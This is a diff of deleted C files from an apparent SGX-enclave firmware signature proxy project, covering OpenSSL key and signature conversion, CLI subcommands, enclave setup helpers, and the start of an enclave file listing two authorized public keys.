/*
* Load Signing Key
*/
key_file = fopen(args.key_path, "rb");
if(key_file == NULL){
perror("Error opening key file");
exit (EXIT_FAILURE);
}
key = PEM_read_PrivateKey(key_file, &key, NULL, NULL);
if(key == NULL) {
fprintf(stderr, "failed to read key\n");
exit (EXIT_FAILURE);
}
fclose(key_file);
/*
* Sign Firmware
*/
mdctx = EVP_MD_CTX_new();
if (EVP_DigestSignInit(mdctx, NULL, EVP_sha256(), NULL, key) != 1) {
fprintf(stderr, "Message digest initialization failed.\n");
exit (EXIT_FAILURE);
}
if (load_file(args.firmware_path, &firmware_buf, &firmware_len) != 0) {
fprintf(stderr, "failed to read firmware\n");
exit (EXIT_FAILURE);
}
if (EVP_DigestSignUpdate(mdctx, firmware_buf, firmware_len) != 1) {
printf("Message digest update failed.\n");
exit(EXIT_FAILURE);
}
free(firmware_buf);
// call with empty sig to get length
if (EVP_DigestSignFinal(mdctx, NULL, &sig_len) != 1) {
printf("Message digest finalization failed.\n");
exit (EXIT_FAILURE);
}
// allocate signature buffer
sig = malloc(sizeof(unsigned char) * sig_len);
if(sig == NULL){
perror("could not initialize digest buffer");
exit (EXIT_FAILURE);
}
// load signature into buffer
if (EVP_DigestSignFinal(mdctx, sig, &sig_len) != 1) {
printf("Message digest finalization failed.\n");
exit (EXIT_FAILURE);
}
fwrite(sig, sig_len, 1, stdout);
if (ferror(stdout) != 0) {
fprintf(stdout, "failed to write signature to stdout\n");
exit (EXIT_FAILURE);
}
fflush(stdout);
// free all allocated resources
free(sig);
EVP_MD_CTX_free(mdctx);
EVP_PKEY_free(key);
exit (EXIT_SUCCESS);
}

View file

@ -1,23 +0,0 @@
#ifndef _APP_INTERMEDIARY_H_
#define _APP_INTERMEDIARY_H_
/*
* @brief getter for employee subcommand syntax string
*
* @returns null-terminated syntax string
*/
char* employee_syntax(void);
/*
* @brief CLI implementation for the "employee" subcommand
*
* @param argc number of arguments with command and subcommand stripped
* @param argv arguments with command and subcommand stripped
*
* @returns 0 on success, else error with output on stderr
*/
int handle_employee(int argc, char** argv);
#endif

View file

@ -1,33 +0,0 @@
#include <errno.h>
#include <string.h>
#include "embedded_device.h"
#include "employee.h"
#include "proxy.h"
#include "proxysetup.h"
#include "util.h"
/*
* main method of the binary calls the implementation of the specified subcommand
*/
int main(int argc, char** argv) {
if(argc < 1)
syntax_exit();
set_bin_name(argv[0]);
if(argc < 2)
syntax_exit();
char* command = argv[1];
if(strcmp(command, "employee")==0)
handle_employee(argc-2, argv+2);
else if (strcmp(command, "proxy")==0)
handle_proxy(argc-2, argv+2);
else if (strcmp(command, "proxysetup")==0)
handle_proxysetup(argc-2, argv+2);
else if (strcmp(command, "embedded")==0)
handle_embedded_device(argc-2, argv+2);
else
syntax_exit();
}

View file

@ -1,435 +0,0 @@
#include <errno.h>
#include <sgx_urts.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/core_names.h>
#include <openssl/evp.h>
#include <openssl/param_build.h>
#include <openssl/pem.h>
#include <sgx_tcrypto.h>
#include "enclave_u.h"
#include "proxy.h"
#include "util.h"
struct ProxyArgs {
char* sealed_key_file_path;
char* sgx_token_path;
char* employee_public_key_path;
char* firmware_path;
};
char* proxy_syntax(void) {
return
"proxy implementation of the enclave-powered SignatureProxy\n"
" expects intermediary signature on stdin\n"
" outputs proxied signature on stdout\n"
" WARNING: output is binary format, may mess up terminal\n"
" -pkey <path> file path of the sealed proxy key\n"
" -epub <path> path of the PEM encoded employee public key\n"
" -firm <path> path of the firmware\n"
" -token <path> (optional) file path of the sgx token\n";
}
static EVP_PKEY *sgx_public_to_EVP_PKEY(const sgx_ec256_public_t *p_public)
{
EVP_PKEY *evp_key = NULL;
EVP_PKEY_CTX *pkey_ctx = NULL;
BIGNUM *bn_pub_x = NULL;
BIGNUM *bn_pub_y = NULL;
EC_POINT *point = NULL;
EC_GROUP* group = NULL;
OSSL_PARAM_BLD *params_build = NULL;
OSSL_PARAM *params = NULL;
const char *curvename = NULL;
int nid = 0;
size_t key_len;
unsigned char pub_key[SGX_ECP256_KEY_SIZE+4];
group = EC_GROUP_new_by_curve_name(NID_X9_62_prime256v1);
if (group == NULL)
return NULL;
do {
// converts the x value of public key, represented as positive integer in little-endian into a BIGNUM
bn_pub_x = BN_lebin2bn((unsigned char*)p_public->gx, sizeof(p_public->gx), bn_pub_x);
if (NULL == bn_pub_x) {
break;
}
// converts the y value of public key, represented as positive integer in little-endian into a BIGNUM
bn_pub_y = BN_lebin2bn((unsigned char*)p_public->gy, sizeof(p_public->gy), bn_pub_y);
if (NULL == bn_pub_y) {
break;
}
// creates new point and assigned the group object that the point relates to
point = EC_POINT_new(group);
if (NULL == point) {
break;
}
// sets point based on public key's x,y coordinates
if (1 != EC_POINT_set_affine_coordinates(group, point, bn_pub_x, bn_pub_y, NULL)) {
break;
}
// check point if the point is on curve
if (1 != EC_POINT_is_on_curve(group, point, NULL)) {
break;
}
// convert point to octet string
key_len = EC_POINT_point2oct(group, point, POINT_CONVERSION_COMPRESSED, pub_key, sizeof(pub_key), NULL);
if (key_len == 0) {
break;
}
// build OSSL_PARAM
params_build = OSSL_PARAM_BLD_new();
if (NULL == params_build) {
break;
}
nid = EC_GROUP_get_curve_name(group);
if (nid == NID_undef) {
break;
}
curvename = OBJ_nid2sn(nid);
if (curvename == NULL) {
break;
}
if (1 != OSSL_PARAM_BLD_push_utf8_string(params_build, "group", curvename, 0)) {
break;
}
if (1 != OSSL_PARAM_BLD_push_octet_string(params_build, OSSL_PKEY_PARAM_PUB_KEY, pub_key, key_len)) {
break;
}
params = OSSL_PARAM_BLD_to_param(params_build);
if (NULL == params) {
break;
}
// get pkey from params
pkey_ctx = EVP_PKEY_CTX_new_from_name(NULL, "EC", NULL);
if (NULL == pkey_ctx) {
break;
}
if (1 != EVP_PKEY_fromdata_init(pkey_ctx)) {
break;
}
if (1 != EVP_PKEY_fromdata(pkey_ctx, &evp_key, EVP_PKEY_PUBLIC_KEY, params)) {
EVP_PKEY_free(evp_key);
evp_key = NULL;
}
} while(0);
BN_clear_free(bn_pub_x);
BN_clear_free(bn_pub_y);
EC_POINT_clear_free(point);
OSSL_PARAM_free(params);
OSSL_PARAM_BLD_free(params_build);
EVP_PKEY_CTX_free(pkey_ctx);
EC_GROUP_free(group);
return evp_key;
}
static int EVP_PKEY_to_sgx_public(EVP_PKEY* ecdsa_key, sgx_ec256_public_t* sgx_public) {
EC_GROUP* group = NULL;
EC_POINT *point = NULL;
BIGNUM* pub_x = NULL;
BIGNUM* pub_y = NULL;
size_t ec_key_buf_len = 0;
unsigned char ec_key_buf[1024];
int ret;
int retval;
group = EC_GROUP_new_by_curve_name(NID_X9_62_prime256v1);
if (group == NULL)
return 1;
point = EC_POINT_new(group);
if (point == NULL)
return 2;
ret = EVP_PKEY_get_octet_string_param(ecdsa_key, OSSL_PKEY_PARAM_PUB_KEY, ec_key_buf, 1024, &ec_key_buf_len);
if (ret != 1)
return 3;
ret = EC_POINT_oct2point(group, point, ec_key_buf, ec_key_buf_len, NULL);
if (ret != 1){
retval = 4;
goto cleanup;
}
pub_x = BN_new();
pub_y = BN_new();
ret = EC_POINT_get_affine_coordinates(group, point, pub_x, pub_y, NULL);
if (ret != 1){
retval = 5;
goto cleanup;
}
ret = BN_bn2lebinpad(pub_x, sgx_public->gx, SGX_ECP256_KEY_SIZE);
if (ret == -1){
retval = 6;
goto cleanup;
}
ret = BN_bn2lebinpad(pub_y, sgx_public->gy, SGX_ECP256_KEY_SIZE);
if (ret == -1){
retval = 7;
goto cleanup;
}
retval = 0;
cleanup:
if (pub_x != NULL)
BN_clear_free(pub_x);
if (pub_y != NULL)
BN_clear_free(pub_y);
if (point != NULL)
EC_POINT_clear_free(point);
if (group != NULL)
EC_GROUP_free(group);
return (retval);
}
static int ECDSA_SIG_to_sgx_signature(ECDSA_SIG* ecdsa_sig, sgx_ec256_signature_t* sgx_signature) {
const BIGNUM* r = NULL;
const BIGNUM* s = NULL;
int ret;
r = ECDSA_SIG_get0_r(ecdsa_sig);
s = ECDSA_SIG_get0_s(ecdsa_sig);
ret = BN_bn2lebinpad(r, (unsigned char*)sgx_signature->x, SGX_ECP256_KEY_SIZE);
if (ret == -1)
return (1);
ret = BN_bn2lebinpad(s, (unsigned char*)sgx_signature->y, SGX_ECP256_KEY_SIZE);
if (ret == -1)
return (2);
return (0);
}
/*
* This function is a modified version of the `sgx_ecdsa_verify_hash` function in the [Intel SGX crypto library](https://github.com/intel/linux-sgx/blob/main/sdk/tlibcrypto/sgxssl/sgx_ecc256_ecdsa.cpp).
* The specified License applies.
*/
static int sgx_signature_to_ECDSA_SIG(sgx_ec256_signature_t* sgx_signature, ECDSA_SIG** ecdsa_signature) {
BIGNUM *bn_r = NULL;
BIGNUM *bn_s = NULL;
// converts the x value of the signature, represented as positive integer in little-endian into a BIGNUM
//
bn_r = BN_lebin2bn((unsigned char*)sgx_signature->x, sizeof(sgx_signature->x), 0);
if (bn_r == NULL)
return (1);
// converts the y value of the signature, represented as positive integer in little-endian into a BIGNUM
//
bn_s = BN_lebin2bn((unsigned char*)sgx_signature->y, sizeof(sgx_signature->y), 0);
if (NULL == bn_s) {
if (bn_r != NULL)
BN_clear_free(bn_r);
return (2);
}
// allocates a new ECDSA_SIG structure (note: this function also allocates the BIGNUMs) and initialize it
//
*ecdsa_signature = ECDSA_SIG_new();
if (NULL == *ecdsa_signature) {
if (bn_r != NULL)
BN_clear_free(bn_r);
if (bn_s != NULL)
BN_clear_free(bn_s);
return (3);
}
// setes the r and s values of ecdsa_sig
// calling this function transfers the memory management of the values to the ECDSA_SIG object,
// and therefore the values that have been passed in should not be freed directly after this function has been called
//
if (1 != ECDSA_SIG_set0(*ecdsa_signature, bn_r, bn_s)) {
ECDSA_SIG_free(*ecdsa_signature);
*ecdsa_signature = NULL;
if (bn_r != NULL)
BN_clear_free(bn_r);
if (bn_s != NULL)
BN_clear_free(bn_s);
return (4);
}
return (0);
}
int handle_proxy(int argc, char** argv) {
struct ProxyArgs args = {
NULL,
NULL,
NULL
};
uint8_t* sealed;
size_t sealed_len;
uint8_t* firmware;
size_t firmware_len;
unsigned char* ecdsa_signature_data;
size_t ecdsa_signature_size = 0;
uint8_t signature[70];
sgx_status_t ret;
ECDSA_SIG* ecdsa_signature;
sgx_ec256_signature_t sgx_signature;
/*
* Parse Input
*/
int i = 0;
while(i < argc) {
if(strcmp(argv[i], "-pkey")==0 && argc-i >=2){
args.sealed_key_file_path = argv[i+1];
i += 2;
}else if(strcmp(argv[i], "-token")==0 && argc-i >=2){
args.sgx_token_path = argv[i+1];
i += 2;
}else if(strcmp(argv[i], "-epub")==0 && argc-i >=2){
args.employee_public_key_path = argv[i+1];
i += 2;
}else if(strcmp(argv[i], "-firm")==0 && argc-i >=2){
args.firmware_path = argv[i+1];
i += 2;
}else
syntax_exit();
}
if(args.sealed_key_file_path == NULL || args.employee_public_key_path == NULL || args.firmware_path == NULL)
syntax_exit();
/*
* Read And Parse Signature Input
*/
ecdsa_signature_data = malloc(1024);
if (ecdsa_signature_data == NULL) {
perror("failed to allocate signature");
exit (EXIT_FAILURE);
}
ecdsa_signature_size = fread(ecdsa_signature_data, 1, 1024, stdin);
if (ferror(stdin) != 0) {
fprintf(stderr, "failed to read signature from stdin\n");
exit (EXIT_FAILURE);
}
ecdsa_signature = ECDSA_SIG_new();
ecdsa_signature = d2i_ECDSA_SIG(&ecdsa_signature, (const unsigned char**)&ecdsa_signature_data, ecdsa_signature_size);
ecdsa_signature_data = NULL;
if (ecdsa_signature == NULL) {
fprintf(stderr, "failed to read signature\n");
exit (EXIT_FAILURE);
}
if (ECDSA_SIG_to_sgx_signature(ecdsa_signature, &sgx_signature) != 0) {
fprintf(stderr, "failed to transform signature\n");
exit (EXIT_FAILURE);
}
ECDSA_SIG_free(ecdsa_signature);
ecdsa_signature = NULL;
// Initialize SGX Enclave
if (initialize_enclave(args.sgx_token_path) != 0)
exit(1);
/*
* Read Employee Public Key
*/
EVP_PKEY* key = NULL;
FILE* key_file = fopen(args.employee_public_key_path, "rb");
if(key_file == NULL){
perror("Error opening employee public key file");
exit(1);
}
key = PEM_read_PUBKEY(key_file, &key, NULL, NULL);
if(key == NULL) {
fprintf(stderr, "failed to read employee public key\n");
exit (EXIT_FAILURE);
}
fclose(key_file);
sgx_ec256_public_t sgx_public;
if (EVP_PKEY_to_sgx_public(key, &sgx_public) != 0) {
fprintf(stderr, "failed transform employee public key\n");
exit (EXIT_FAILURE);
}
//Read Sealed Proxy Keypair
if (load_file(args.sealed_key_file_path, &sealed, &sealed_len)!=0){
fprintf(stderr, "failed to read sealed key\n");
exit (EXIT_FAILURE);
}
// Read Firmware
if (load_file(args.firmware_path, &firmware, &firmware_len)!=0){
fprintf(stderr, "failed to read firmware\n");
exit (EXIT_FAILURE);
}
/*
* Use Enclave To Resign the Firmware
*/
sign_firmware(get_global_eid(), &ret, firmware, firmware_len, sealed, sealed_len, (uint8_t*)&sgx_public, (uint8_t*)&sgx_signature);
if (ret != SGX_SUCCESS) {
sgx_print_error_message(ret);
exit (1);
}
free(sealed);
free(firmware);
/*
* Output Signature
*/
if (sgx_signature_to_ECDSA_SIG(&sgx_signature, &ecdsa_signature) != 0) {
fprintf(stderr, "could not convert signature\n");
exit (EXIT_FAILURE);
}
ecdsa_signature_data = NULL;
ecdsa_signature_size = i2d_ECDSA_SIG(ecdsa_signature, &ecdsa_signature_data);
if (ecdsa_signature_size <= 0) {
fprintf(stderr, "could not convert signature\n");
exit (EXIT_FAILURE);
}
fwrite(ecdsa_signature_data, ecdsa_signature_size, 1, stdout);
if (ferror(stdout) != 0) {
fprintf(stderr, "could not write signature to stdout\n");
exit (EXIT_FAILURE);
}
fflush(stdout);
free(ecdsa_signature_data);
ECDSA_SIG_free(ecdsa_signature);
exit (EXIT_SUCCESS);
}

View file

@ -1,23 +0,0 @@
#ifndef _APP_PROXY_H_
#define _APP_PROXY_H_
/*
* @brief getter for proxy subcommand syntax string
*
* @returns null-terminated syntax string
*/
char* proxy_syntax(void);
/*
* @brief CLI implementation for the "proxy" subcommand
*
* @param argc number of arguments with command and subcommand stripped
* @param argv arguments with command and subcommand stripped
*
* @returns 0 on success, else error with output on stderr
*/
int handle_proxy(int argc, char** argv);
#endif

View file

@ -1,237 +0,0 @@
#include <errno.h>
#include <sgx_urts.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/core_names.h>
#include <openssl/evp.h>
#include <openssl/param_build.h>
#include <openssl/pem.h>
#include <sgx_tcrypto.h>
#include "enclave_u.h"
#include "proxysetup.h"
#include "util.h"
struct ProxysetupArgs {
char* sealed_key_file_path;
char* sgx_token_path;
};
char* proxysetup_syntax(void) {
return
"proxysetup implementation of the enclave-powered SignatureProxy\n"
" outputs public key on stdout\n"
" -pkey <path> file path of the sealed proxy key\n"
" -token <path> (optional) file path of the sgx token\n";
}
/*
* This function is a modified version of the `get_pub_key_from_coords` function in the [Intel SGX crypto library](https://github.com/intel/linux-sgx/blob/c1ceb4fe146e0feb1097dee81c7e89925443e43c/sdk/tlibcrypto/sgxssl/sgx_ecc256.cpp).
* The specified License applies.
*/
static EVP_PKEY *sgx_public_to_EVP_PKEY(const sgx_ec256_public_t *p_public)
{
EVP_PKEY *evp_key = NULL;
EVP_PKEY_CTX *pkey_ctx = NULL;
BIGNUM *bn_pub_x = NULL;
BIGNUM *bn_pub_y = NULL;
EC_POINT *point = NULL;
EC_GROUP* group = NULL;
OSSL_PARAM_BLD *params_build = NULL;
OSSL_PARAM *params = NULL;
const char *curvename = NULL;
int nid = 0;
size_t key_len;
unsigned char pub_key[SGX_ECP256_KEY_SIZE+4];
group = EC_GROUP_new_by_curve_name(NID_X9_62_prime256v1);
if (group == NULL)
return NULL;
do {
// converts the x value of public key, represented as positive integer in little-endian into a BIGNUM
bn_pub_x = BN_lebin2bn((unsigned char*)p_public->gx, sizeof(p_public->gx), bn_pub_x);
if (NULL == bn_pub_x) {
break;
}
// converts the y value of public key, represented as positive integer in little-endian into a BIGNUM
bn_pub_y = BN_lebin2bn((unsigned char*)p_public->gy, sizeof(p_public->gy), bn_pub_y);
if (NULL == bn_pub_y) {
break;
}
// creates new point and assigned the group object that the point relates to
point = EC_POINT_new(group);
if (NULL == point) {
break;
}
// sets point based on public key's x,y coordinates
if (1 != EC_POINT_set_affine_coordinates(group, point, bn_pub_x, bn_pub_y, NULL)) {
break;
}
// check point if the point is on curve
if (1 != EC_POINT_is_on_curve(group, point, NULL)) {
break;
}
// convert point to octet string
key_len = EC_POINT_point2oct(group, point, POINT_CONVERSION_COMPRESSED, pub_key, sizeof(pub_key), NULL);
if (key_len == 0) {
break;
}
// build OSSL_PARAM
params_build = OSSL_PARAM_BLD_new();
if (NULL == params_build) {
break;
}
nid = EC_GROUP_get_curve_name(group);
if (nid == NID_undef) {
break;
}
curvename = OBJ_nid2sn(nid);
if (curvename == NULL) {
break;
}
if (1 != OSSL_PARAM_BLD_push_utf8_string(params_build, "group", curvename, 0)) {
break;
}
if (1 != OSSL_PARAM_BLD_push_octet_string(params_build, OSSL_PKEY_PARAM_PUB_KEY, pub_key, key_len)) {
break;
}
params = OSSL_PARAM_BLD_to_param(params_build);
if (NULL == params) {
break;
}
// get pkey from params
pkey_ctx = EVP_PKEY_CTX_new_from_name(NULL, "EC", NULL);
if (NULL == pkey_ctx) {
break;
}
if (1 != EVP_PKEY_fromdata_init(pkey_ctx)) {
break;
}
if (1 != EVP_PKEY_fromdata(pkey_ctx, &evp_key, EVP_PKEY_PUBLIC_KEY, params)) {
EVP_PKEY_free(evp_key);
evp_key = NULL;
}
} while(0);
BN_clear_free(bn_pub_x);
BN_clear_free(bn_pub_y);
EC_POINT_clear_free(point);
OSSL_PARAM_free(params);
OSSL_PARAM_BLD_free(params_build);
EVP_PKEY_CTX_free(pkey_ctx);
EC_GROUP_free(group);
return evp_key;
}
int handle_proxysetup(int argc, char** argv) {
struct ProxysetupArgs args = {
NULL,
NULL
};
FILE* sealed_file;
int sealed_size;
uint8_t* sealed;
sgx_ec256_public_t sgx_public_key;
EVP_PKEY* public_key;
sgx_status_t sgx_ret;
/*
* Parse Input
*/
int i = 0;
while(i < argc) {
if(strcmp(argv[i], "-pkey")==0 && argc-i >=2){
args.sealed_key_file_path = argv[i+1];
i += 2;
}else if(strcmp(argv[i], "-token")==0 && argc-i >=2){
args.sgx_token_path = argv[i+1];
i += 2;
}else
syntax_exit();
}
if(args.sealed_key_file_path == NULL)
syntax_exit();
/*
* Initialize SGX Enclave
*/
if (initialize_enclave(args.sgx_token_path) != 0)
exit (EXIT_FAILURE);
/*
* Setup Sealed Keypair
*/
sealed_file = fopen(args.sealed_key_file_path, "wb");
if(sealed_file == NULL){
perror("Error opening sealed_key_file file");
exit (EXIT_FAILURE);
}
sgx_ret = get_sealed_size(get_global_eid(), &sealed_size);
if (sgx_ret != SGX_SUCCESS) {
sgx_print_error_message(sgx_ret);
exit (EXIT_FAILURE);
}
sealed = malloc(sizeof(uint8_t)*sealed_size);
if (sealed == NULL) {
fprintf(stderr, "failed to allocate for sealed key");
exit (EXIT_FAILURE);
}
/*
* Use Enclave To Generate Keypair
*/
generate_key_pair(get_global_eid(), &sgx_ret, sealed, sealed_size);
if (sgx_ret != SGX_SUCCESS) {
sgx_print_error_message(sgx_ret);
exit (EXIT_FAILURE);
}
/*
* Store Sealed Keypair
*/
if (fwrite(sealed, sealed_size, 1, sealed_file) != 1 || ferror(sealed_file) != 0) {
fprintf(stderr, "failed to write sealed key");
exit (EXIT_FAILURE);
}
fflush(sealed_file);
fclose(sealed_file);
/*
* Fetch Public Key From Enclave And Print
*/
get_public_key(get_global_eid(), &sgx_ret, sealed, sealed_size, (uint8_t*)&sgx_public_key);
if (sgx_ret != SGX_SUCCESS) {
sgx_print_error_message(sgx_ret);
exit (EXIT_FAILURE);
}
public_key = sgx_public_to_EVP_PKEY(&sgx_public_key);
if (PEM_write_PUBKEY(stdout, public_key) != 1) {
fprintf(stderr, "could not write publickey\n");
exit (EXIT_FAILURE);
}
fflush(stdout);
EVP_PKEY_free(public_key);
free(sealed);
exit (EXIT_SUCCESS);
}

View file

@ -1,23 +0,0 @@
#ifndef _APP_PROXYSETUP_H_
#define _APP_PROXYSETUP_H_
/*
* @brief getter for proxysetup subcommand syntax string
*
* @returns null-terminated syntax string
*/
char* proxysetup_syntax(void);
/*
* @brief CLI implementation for the "proxysetup" subcommand
*
* @param argc number of arguments with command and subcommand stripped
* @param argv arguments with command and subcommand stripped
*
* @returns 0 on success, else error with output on stderr
*/
int handle_proxysetup(int argc, char** argv);
#endif

View file

@ -1,247 +0,0 @@
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include "embedded_device.h"
#include "employee.h"
#include "util.h"
#include "proxy.h"
#include "proxysetup.h"
static char* BIN_NAME = "SignatureProxy";
static sgx_enclave_id_t global_eid = 0;
void syntax_exit(void) {
char* syntax =
"SignatureProxy Version 0.0.0\n"
"Syntax: %s <command> <arguments>\n"
"\n"
"Commands:\n"
"%s"
"\n"
"%s"
"\n"
"%s"
"\n"
"%s";
printf(syntax, BIN_NAME, proxysetup_syntax(), employee_syntax(), proxy_syntax(), embedded_device_syntax());
exit (EXIT_FAILURE);
}
void set_bin_name(char* bin_name) {
BIN_NAME = bin_name;
}
/*
* This definition is copied from the provided SGX Examples.
* The specified License applies.
*/
typedef struct _sgx_errlist_t {
sgx_status_t err;
const char *msg;
const char *sug; /* Suggestion */
} sgx_errlist_t;
/*
* This definition is copied from the provided SGX Examples.
* The specified License applies.
*/
/* Error code returned by sgx_create_enclave */
static sgx_errlist_t sgx_errlist[] = {
{
SGX_ERROR_UNEXPECTED,
"Unexpected error occurred.",
NULL
},
{
SGX_ERROR_INVALID_PARAMETER,
"Invalid parameter.",
NULL
},
{
SGX_ERROR_OUT_OF_MEMORY,
"Out of memory.",
NULL
},
{
SGX_ERROR_ENCLAVE_LOST,
"Power transition occurred.",
"Please refer to the sample \"PowerTransition\" for details."
},
{
SGX_ERROR_INVALID_ENCLAVE,
"Invalid enclave image.",
NULL
},
{
SGX_ERROR_INVALID_ENCLAVE_ID,
"Invalid enclave identification.",
NULL
},
{
SGX_ERROR_INVALID_SIGNATURE,
"Invalid enclave signature.",
NULL
},
{
SGX_ERROR_OUT_OF_EPC,
"Out of EPC memory.",
NULL
},
{
SGX_ERROR_NO_DEVICE,
"Invalid SGX device.",
"Please make sure SGX module is enabled in the BIOS, and install SGX driver afterwards."
},
{
SGX_ERROR_MEMORY_MAP_CONFLICT,
"Memory map conflicted.",
NULL
},
{
SGX_ERROR_INVALID_METADATA,
"Invalid enclave metadata.",
NULL
},
{
SGX_ERROR_DEVICE_BUSY,
"SGX device was busy.",
NULL
},
{
SGX_ERROR_INVALID_VERSION,
"Enclave version was invalid.",
NULL
},
{
SGX_ERROR_INVALID_ATTRIBUTE,
"Enclave was not authorized.",
NULL
},
{
SGX_ERROR_ENCLAVE_FILE_ACCESS,
"Can't open enclave file.",
NULL
},
};
/*
* This Method is copied from the provided SGX Examples.
* The specified License applies.
*/
/* Check error conditions for loading enclave */
void sgx_print_error_message(sgx_status_t ret)
{
size_t idx = 0;
size_t ttl = sizeof sgx_errlist/sizeof sgx_errlist[0];
for (idx = 0; idx < ttl; idx++) {
if(ret == sgx_errlist[idx].err) {
if(NULL != sgx_errlist[idx].sug)
printf("Info: %s\n", sgx_errlist[idx].sug);
printf("Error: %s\n", sgx_errlist[idx].msg);
break;
}
}
if (idx == ttl)
printf("Error code is 0x%X. Please refer to the \"Intel SGX SDK Developer Reference\" for more details.\n", ret);
}
/*
* This Method is copied from the provided SGX Examples.
* The specified License applies.
*/
int initialize_enclave(char* token_path) {
FILE* sgx_token_file = NULL;
sgx_launch_token_t token = {0};
sgx_status_t ret;
int updated = 0;
if (token_path != NULL) {
sgx_token_file = fopen(token_path, "rb");
}
if(sgx_token_file == NULL){
if (errno != ENOENT && token_path != NULL) {
perror("Error opening sgx token file");
exit(1);
}
}else{
size_t read_num = fread(token, 1, sizeof(sgx_launch_token_t), sgx_token_file);
if (read_num != 0 && read_num != sizeof(sgx_launch_token_t)) {
fprintf(stderr, "sgx token file is corrupted");
return (1);
}
}
ret = sgx_create_enclave("enclave.signed.so", SGX_DEBUG_FLAG, &token, &updated, &global_eid, NULL);
if (ret != SGX_SUCCESS) {
sgx_print_error_message(ret);
return (1);
}
if (updated && token_path != NULL) {
sgx_token_file = freopen(token_path, "wb", sgx_token_file);
if(sgx_token_file == NULL){
perror("Error opening sgx token file");
return (1);
}
size_t write_num = fwrite(token, 1, sizeof(sgx_launch_token_t), sgx_token_file);
if (write_num != sizeof(sgx_launch_token_t)){
fprintf(stderr,"Warning: Failed to save launch token to \"%s\".\n", token_path);
return (1);
}
}
return (0);
}
sgx_enclave_id_t get_global_eid(void){
return global_eid;
}
int load_file(const char* path, uint8_t** data, size_t* data_len) {
FILE* file;
size_t file_size;
uint8_t* buf;
int file_des = open(path, O_RDWR);
if(file_des == 0)
return (1);
struct stat stat;
if (fstat(file_des, &stat) != 0){
close(file_des);
return (2);
}
close(file_des);
file_size = stat.st_size;
buf = malloc(file_size);
if (buf == NULL)
return (3);
file = fopen(path, "rb");
if(file == NULL){
free(buf);
return (4);
}
if (fread(buf, file_size, 1, file) != 1 || ferror(file) != 0) {
free(buf);
fclose(file);
return (5);
}
fclose(file);
*data = buf;
*data_len = file_size;
return (0);
}

View file

@ -1,33 +0,0 @@
#ifndef _APP_UTIL_H_
#define _APP_UTIL_H_
#include <sgx_urts.h>
/*
* @brief prints the command syntax and exits with EXIT_FAILURE
*/
void syntax_exit(void);
void set_bin_name(char* bin_name);
void sgx_print_error_message(sgx_status_t ret);
int initialize_enclave(char* token_path);
sgx_enclave_id_t get_global_eid(void);
/*
* @brief loads a file completely into the HEAP
*
* Loads a File into HEAP and returns a dynamically allocated buffer.
*
* @param path path of the file
* @param data allocated buffer output
* @param data_len length of the allocated buffer
* @returns 0 on success, non zero on error
*/
int load_file(const char* path, uint8_t** data, size_t* data_len);
#endif

View file

@ -1,337 +0,0 @@
/*
* Copyright (C) 2011-2018 Intel Corporation. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in
* the documentation and/or other materials provided with the
* distribution.
* * Neither the name of Intel Corporation nor the names of its
* contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
*/
#include <stdarg.h>
#include <stdio.h> /* vsnprintf */
#include <string.h>
#include <stdlib.h>
#include "enclave.h"
#include "enclave_t.h"
#include <sgx_tseal.h>
#include <sgx_error.h>
#include <sgx_tcrypto.h>
#ifndef SK_SIZE
#define SK_SIZE SGX_ECP256_KEY_SIZE
#endif
#ifndef PK_SIZE
#define PK_SIZE 2*SK_SIZE
#endif
#ifndef DG_SIZE
#define DG_SIZE SK_SIZE
#endif
#ifndef SI_SIZE
#define SI_SIZE 2*SK_SIZE
#endif
/*
* Bobs and Alices public keys
*/
const sgx_ec256_public_t authorized[2] = {
{
.gx = {
0x9c, 0x72, 0x2b, 0x52, 0x0e, 0xff, 0x07, 0xdc,
0x7a, 0x32, 0x19, 0xbb, 0xd8, 0x41, 0x94, 0x2c,
0xee, 0x17, 0xb2, 0xf6, 0x2e, 0x08, 0x61, 0xab,
0xbc, 0x50, 0xaf, 0xb6, 0x2e, 0xf9, 0x2c, 0xee
},
.gy = {
0x8c, 0x84, 0x2f, 0xb5, 0x94, 0xca, 0x60, 0x94,
0xb0, 0xdc, 0x8a, 0xcf, 0x17, 0x91, 0xd3, 0xab,
0x29, 0x0e, 0x81, 0x8c, 0xf6, 0x95, 0xc6, 0x92,
0x87, 0x0e, 0x1d, 0x76, 0x56, 0xba, 0x51, 0xbb
}
},
{
.gx = {
0x8d, 0x96, 0xa3, 0x4f, 0x1a, 0x18, 0x10, 0x00,
0x72, 0xb5, 0x42, 0x4f, 0x1c, 0xfb, 0xb6, 0xd0,
0x29, 0x4f, 0x5f, 0xd2, 0xef, 0x29, 0x49, 0x1c,
0xea, 0x2b, 0xf5, 0x61, 0x5e, 0x50, 0xe5, 0x76
},
.gy = {
0xb2, 0x58, 0xa6, 0xf9, 0xf3, 0xc4, 0xb5, 0xdf,
0xa0, 0x4b, 0xb6, 0xad, 0xdd, 0xb1, 0x04, 0xec,
